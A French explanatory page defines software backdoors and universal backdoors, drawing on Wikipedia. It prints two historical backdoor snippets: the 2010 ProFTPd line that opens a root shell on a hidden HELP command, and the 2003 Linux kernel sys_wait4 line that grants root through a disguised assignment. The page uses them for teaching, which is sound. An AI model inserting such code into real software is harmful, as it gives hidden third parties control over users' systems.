Porte dérobée

L'expression *porte dérobée*, en informatique, provient de l'architecture. Une *porte dérobée* ou *porte de derrière* est un passage secret dans une construction quelconque. C'est un chemin dissimulé qui permet de se déplacer furtivement. Il peut être un moyen : soit d'accéder à une pièce secrète dans une maison ; soit de permettre d'entrer et sortir d'un bâtiment par des corridors ou des galeries dissimulés. Les passages secrets ont été utiles tout au long de l'histoire et sont couramment utilisés dans les oeuvres de fiction. [1)]

Définition

Porte dérobée

Une porte dérobée (*backdoor* en anglais) est une fonctionnalité incluse dans un logiciel, implantée dans un ordinateur, offrant un accès illégitime, plus ou moins étendu, à un ou plusieurs tiers pouvant en disposer. Le but d'un tel dispositif est, pour le tiers, d'avoir un contrôle de l'outil informatique au détriment de l'utilisateur. Un logiciel contenant une porte dérobée est un “cheval de Troie”.

Porte dérobée universelle

Une porte dérobée universelle (*universal backdoor* en anglais) est une fonctionnalité incluse dans un logiciel, implantée dans un ordinateur, offrant un accès illégitime total à un ou plusieurs tiers pouvant en disposer. Elle donne plus de pouvoir au tiers sur l'outil informatique qu'en dispose l'utilisateur. C'est, par exemple, un droit de “super-administrateur” quand l'utilisateur ne dispose que d'un droit maximum d'“administrateur” sur son propre système informatique.

Exemples

ProFTPd (2010)

Le 28 novembre 2010, le tarball [2)] de la dernière version (1.3.3c) du serveur FTP ProFTPd a été remplacé par une version contenant une porte dérobée sur le serveur FTP officiel du projet. La porte dérobée ajoute une commande “HELP ACIDBITCHEZ” qui ouvre un “shell” en tant que l'utilisateur root. Le tarball a été propagé sur l'ensemble des miroirs officiels. La compromission a été découverte le 1er décembre 2010, et corrigée le 2 décembre. La porte dérobée a notamment ajouté la ligne suivante au fichier src/help.c :

```
if (strcmp(target, "ACIDBITCHEZ") == 0) { setuid(0); setgid(0);
system("/bin/sh;/sbin/sh"); }
```

L'attaquant s'est introduit sur le serveur FTP en utilisant une faille du module SQL de PostgreSQL qui permet d'exécuter du code à distance. Cette faille a été publiée le 17 novembre 2010 dans le numéro

67 du magazine *Phrack*. La faille est corrigée par la version 1.3.3d de ProFTPd. [3)]

Noyau Linux (2003)

Le 4 novembre 2003, une porte dérobée a été introduite dans le noyau Linux directement sur le serveur CVS par un attaquant se faisant passer pour David S. Miller (développeur noyau). Elle a été détectée dès le lendemain. Le serveur CVS était un miroir du dépôt officiel utilisant *BitKeeper*. La porte dérobée a été greffée très synthétiquement, elle consiste en deux lignes de langage C, ajoutées à la fonction *sys_wait4* du fichier “kernel/exit.c” :

```
        if ((options == (__WCLONE|__WALL)) && (current->uid = 0))
                        retval = -EINVAL;
```

La condition (current->uid = 0) est censée être lue par un lecteur particulièrement naïf comme une comparaison “si le numéro d'utilisateur du processus est 0 (root)” mais signifie en réalité en langage C l'affectation “le numéro d'utilisateur du processus devient 0 (root)”. Le résultat est que si cette fonction *sys_wait4()* truquée était appelée avec les paramètres __WCLONE|__WALL, le processus prenait l'identité de root, le niveau d'utilisateur disposant des droits d'accès maximaux.

Cette modification visait à profiter de la confusion entre divers langages de programmation, où le symbole de la comparaison de deux valeurs est le signe = (Pascal, Ada, ML…) et d'autres où c'est la double égalité == qui joue ce rôle (C, C++, Java…), le signe = signifiant alors une affectation d'une valeur à une variable. Cette modification avait peu de chances de passer inaperçue, car ce type d'erreur est peu compatible avec le niveau en informatique de programmeurs travaillant sur le noyau Linux. Le langage C étant le langage de programmation le plus utilisé sur les systèmes de la famille Unix, très peu d'utilisateurs non débutants se seraient laissé prendre.

De plus, le processus de développement collectif d'un logiciel (notamment celui d'un logiciel_libre) impose que chaque modification soit validée ; elle doit pour cela avoir une justification légitime. Ainsi, toute modification, aussi minime soit-elle, apparaît dans les *diff* et soulève de légitimes interrogations si elle n'a pas une justification claire. [4)]

Conclusion

Les deux exemples précédents, repris de Wikipédia, servent uniquement à illustrer, dans les faits, à quoi ressemble une porte dérobée. Ce ne sont qu'une ou deux lignes de code. Cela montre à quel point c'est minuscule.

Notes et références

1)

[fr] Passage_secret Reformulé. Dernière consultation le 9 juillet 2018.

2)

Tarball : archve en .tar

3)

[fr] Porte_dérobée#ProFTPd_(2010). Dernière consultation le 9 juillet 2018.

4)

[fr] Porte_dérobée#Noyau_Linux_(2003). Dernière consultation le 9 juillet 2018.